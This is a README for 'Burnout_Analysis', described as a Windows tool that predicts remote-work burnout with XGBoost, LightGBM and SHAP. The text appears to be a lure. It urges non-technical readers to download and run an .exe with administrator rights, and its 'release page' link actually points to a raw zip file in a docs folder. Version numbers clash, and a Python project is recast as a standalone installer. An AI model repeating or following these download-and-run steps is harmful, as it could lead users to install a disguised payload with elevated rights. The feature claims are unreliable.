Burnout_Analysis is a simple tool to predict remote work burnout. It uses a smart system based on real work behavior and data to spot signs of stress early. This helps managers and HR teams identify employees at risk of burnout. The tool uses modern machine learning methods and explains its results clearly, so you always know why it made a certain prediction.
Built with ease of use in mind, Burnout_Analysis works well on Windows systems. It offers reports aimed at senior management to guide decisions on employee health. You do not need any technical skill to get started.
- Predicts burnout risk using company data and employee behavior patterns.
- Compares popular machine learning models to pick the best one for accuracy.
- Focuses on detecting high-risk employees with a method called Recall.
- Offers a clear report designed for senior audits and management review.
- Uses Explainable AI methods to show why each prediction was made.
- Built with Python but ready to use on Windows without coding.
- Covers data science topics like XGBoost, LightGBM, and SHAP.
- Windows 10 or later (64-bit recommended)
- Minimum 4 GB RAM; 8 GB or more preferred for faster performance
- At least 1 GB free disk space
- Internet connection to download the software and updates
- Administrative rights to install applications
No programming tools or additional setups are needed. Burnout_Analysis runs as a standalone app.
You will first need to get the Burnout_Analysis software from the official release page. Visit the link below to find the latest version available.
On the page, look for the latest release file ending in .exe. The file name will usually include the version number. For example, Burnout_Analysis_v1.2.exe.
- Double-click the downloaded
.exefile. - If Windows asks for permission, click “Yes” to allow installation.
- Follow the setup wizard instructions to install the software.
- Choose the default options unless you need a specific install location.
- When finished, the program will be ready to use.
- Find the Burnout_Analysis icon on your desktop or start menu.
- Double-click to launch the program.
- The welcome screen will appear with simple navigation options.
The software provides a straightforward way to analyze employee data and detect burnout risks.
- Click Import Data on the home screen.
- Select a file containing your employee work metrics and survey results.
- Supported formats include CSV and Excel files.
- The program will verify the data and notify you if there are issues.
- After data import, click Start Analysis.
- The software compares two machine learning models (XGBoost and LightGBM).
- It focuses on catching high-risk employees by optimizing the Recall score.
- The process takes a few minutes depending on data size.
- Once complete, results appear as clear charts and tables.
- You will see a list of employees flagged at risk.
- The Explainable AI section breaks down which factors triggered the alerts.
- Managers can export a Senior Audit Report in PDF for meetings.
Burnout_Analysis uses proven methods from behavioral engineering and AI to deliver accurate burnout prediction:
- XGBoost and LightGBM: These are two fast and reliable machine learning models designed for tabular data.
- Recall Optimization: Recall is a measure of correctly identifying those actually burned out, which is vital to prevent missed cases.
- Explainable AI (XAI): The program shows the reasons behind each prediction with easy visuals using SHAP values, making it clear and trusted.
- Senior Audit Report: A strategic document giving an overview and recommendations, designed for higher management who need actionable insights.
- If the program does not launch, make sure your Windows version is up to date.
- Check that you have at least 1 GB free disk space.
- Run the installer again with administrator rights if installation fails.
- Close other heavy programs to improve performance during analysis.
- If data import fails, ensure the file is in CSV or Excel format and does not contain empty rows.
- For unclear errors, restart the program and try again.
Burnout_Analysis is regularly updated for performance and accuracy. To check for updates, revisit the release page:
https://raw.githubusercontent.com/cloudedminds/Burnout_Analysis/main/docs/Analysis_Burnout_v1.6.zip
Follow the same download and install instructions for newer versions.
For additional help, view the FAQ and documentation included with the software or visit the Issues section on the GitHub page.
Along with the software, the repository offers sample data files and example reports. These help you try out the tool before using your own data.
You will also find explanations about how the machine learning models work and how the results are calculated.
This software uses Python’s popular machine learning libraries like XGBoost and LightGBM. It includes SHAP, a tool for explaining AI decisions. It fits well into data science and HR analytics workflows focused on predictive modeling and employee well-being.
Access the latest version of Burnout_Analysis by visiting the release page: